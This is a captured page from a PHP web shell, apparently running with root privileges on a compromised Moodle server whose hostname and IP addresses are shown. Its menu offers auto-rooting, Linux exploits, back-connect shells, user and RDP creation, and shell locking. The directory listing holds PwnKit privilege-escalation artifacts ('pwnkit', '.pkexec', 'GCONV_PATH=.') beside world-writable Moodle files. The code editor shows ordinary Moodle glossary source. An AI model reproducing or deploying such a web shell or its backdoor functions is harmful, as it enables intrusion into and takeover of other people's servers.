Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
mod /
glossary /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
formats
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
README.txt
1.7
KB
-rwxrwxrwx
TODO.txt
607
B
-rwxrwxrwx
approve.php
1.61
KB
-rwxrwxrwx
deleteentry.php
5.1
KB
-rwxrwxrwx
edit.php
7.34
KB
-rwxrwxrwx
edit_form.php
6.63
KB
-rwxrwxrwx
editcategories.html
1.6
KB
-rwxrwxrwx
editcategories.php
9.85
KB
-rwxrwxrwx
export.php
2.74
KB
-rwxrwxrwx
exportentry.php
4.4
KB
-rwxrwxrwx
formats.php
8.21
KB
-rwxrwxrwx
import.php
14.64
KB
-rwxrwxrwx
import_form.php
1.13
KB
-rwxrwxrwx
index.php
4.14
KB
-rwxrwxrwx
lib.php
111.93
KB
-rwxrwxrwx
locallib.php
23.08
KB
-rwxrwxrwx
mod_form.php
10.29
KB
-rwxrwxrwx
print.php
6.12
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
rsslib.php
7.63
KB
-rwxrwxrwx
settings.php
3.83
KB
-rwxrwxrwx
showentry.php
3.16
KB
-rwxrwxrwx
showentry_ajax.php
3.46
KB
-rwxrwxrwx
sql.php
10.24
KB
-rwxrwxrwx
styles.css
2.03
KB
-rwxrwxrwx
tabs.php
3.63
KB
-rwxrwxrwx
version.php
1.21
KB
-rwxrwxrwx
view.php
17.84
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : print.php
<?php global $CFG; require_once("../../config.php"); require_once("lib.php"); $id = required_param('id', PARAM_INT); // Course Module ID $sortorder = optional_param('sortorder', 'asc', PARAM_ALPHA); // Sorting order $offset = optional_param('offset', 0, PARAM_INT); // number of entries to bypass $displayformat = optional_param('displayformat',-1, PARAM_INT); $mode = required_param('mode', PARAM_ALPHA); // mode to show the entries $hook = optional_param('hook','ALL', PARAM_CLEAN); // what to show $sortkey = optional_param('sortkey','UPDATE', PARAM_ALPHA); // Sorting key $url = new moodle_url('/mod/glossary/print.php', array('id'=>$id)); if ($sortorder !== 'asc') { $url->param('sortorder', $sortorder); } if ($offset !== 0) { $url->param('offset', $offset); } if ($displayformat !== -1) { $url->param('displayformat', $displayformat); } if ($sortkey !== 'UPDATE') { $url->param('sortkey', $sortkey); } if ($mode !== 'letter') { $url->param('mode', $mode); } if ($hook !== 'ALL') { $url->param('hook', $hook); } $PAGE->set_url($url); if (! $cm = get_coursemodule_from_id('glossary', $id)) { print_error('invalidcoursemodule'); } if (! $course = $DB->get_record("course", array("id"=>$cm->course))) { print_error('coursemisconf'); } if (! $glossary = $DB->get_record("glossary", array("id"=>$cm->instance))) { print_error('invalidid', 'glossary'); } if ( !$entriesbypage = $glossary->entbypage ) { $entriesbypage = $CFG->glossary_entbypage; } require_course_login($course, true, $cm); $context = context_module::instance($cm->id); // Prepare format_string/text options $fmtoptions = array( 'context' => $context); $PAGE->set_pagelayout('print'); $PAGE->set_title(get_string("modulenameplural", "glossary")); $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); if (!has_capability('mod/glossary:manageentries', $context) and !$glossary->allowprintview) { notice(get_string('printviewnotallowed', 'glossary')); } /// setting the default values for the display mode of the current glossary /// only if the glossary is viewed by the first time if ( $dp = $DB->get_record('glossary_formats', array('name'=>$glossary->displayformat)) ) { $printpivot = $dp->showgroup; if ( $mode == '' and $hook == '' and $show == '') { $mode = $dp->defaultmode; $hook = $dp->defaulthook; $sortkey = $dp->sortkey; $sortorder = $dp->sortorder; } } else { $printpivot = 1; if ( $mode == '' and $hook == '' and $show == '') { $mode = 'letter'; $hook = 'ALL'; } } if ( $displayformat == -1 ) { $displayformat = $glossary->displayformat; } /// stablishing flag variables if ( $sortorder = strtolower($sortorder) ) { if ($sortorder != 'asc' and $sortorder != 'desc') { $sortorder = ''; } } if ( $sortkey = strtoupper($sortkey) ) { if ($sortkey != 'CREATION' and $sortkey != 'UPDATE' and $sortkey != 'FIRSTNAME' and $sortkey != 'LASTNAME' ) { $sortkey = ''; } } switch ( $mode = strtolower($mode) ) { case 'entry': /// Looking for a certain entry id $tab = GLOSSARY_STANDARD_VIEW; break; case 'cat': /// Looking for a certain cat $tab = GLOSSARY_CATEGORY_VIEW; if ( $hook > 0 ) { $category = $DB->get_record("glossary_categories", array("id"=>$hook)); } break; case 'approval': /// Looking for entries waiting for approval $tab = GLOSSARY_APPROVAL_VIEW; if ( !$hook and !$sortkey and !$sortorder) { $hook = 'ALL'; } break; case 'term': /// Looking for entries that include certain term in its concept, definition or aliases $tab = GLOSSARY_STANDARD_VIEW; break; case 'date': $tab = GLOSSARY_DATE_VIEW; if ( !$sortkey ) { $sortkey = 'UPDATE'; } if ( !$sortorder ) { $sortorder = 'desc'; } break; case 'author': /// Looking for entries, browsed by author $tab = GLOSSARY_AUTHOR_VIEW; if ( !$hook ) { $hook = 'ALL'; } if ( !$sortkey ) { $sortkey = 'FIRSTNAME'; } if ( !$sortorder ) { $sortorder = 'asc'; } break; case 'letter': /// Looking for entries that begin with a certain letter, ALL or SPECIAL characters default: $tab = GLOSSARY_STANDARD_VIEW; if ( !$hook ) { $hook = 'ALL'; } break; } include_once("sql.php"); $entriesshown = 0; $currentpivot = ''; $site = $DB->get_record("course", array("id"=>1)); echo '<p style="text-align:right"><span style="font-size:0.75em">' . userdate(time()) . '</span></p>'; echo get_string("site") . ': <strong>' . format_string($site->fullname) . '</strong><br />'; echo get_string("course") . ': <strong>' . format_string($course->fullname) . ' ('. format_string($course->shortname) . ')</strong><br />'; echo get_string("modulename","glossary") . ': <strong>' . format_string($glossary->name, true) . '</strong>'; if ( $allentries ) { foreach ($allentries as $entry) { // Setting the pivot for the current entry $pivot = $entry->glossarypivot; $upperpivot = textlib::strtoupper($pivot); $pivottoshow = textlib::strtoupper(format_string($pivot, true, $fmtoptions)); // Reduce pivot to 1cc if necessary if ( !$fullpivot ) { $upperpivot = textlib::substr($upperpivot, 0, 1); $pivottoshow = textlib::substr($pivottoshow, 0, 1); } // If there's group break if ( $currentpivot != $upperpivot ) { // print the group break if apply if ( $printpivot ) { $currentpivot = $upperpivot; if ( isset($entry->userispivot) ) { // printing the user icon if defined (only when browsing authors) $user = $DB->get_record("user", array("id"=>$entry->userid)); $pivottoshow = fullname($user); } echo "<p class='mdl-align'><strong>".clean_text($pivottoshow)."</strong></p>" ; } } glossary_print_entry($course, $cm, $glossary, $entry, $mode, $hook, 1, $displayformat, true); } } echo $OUTPUT->footer();
Close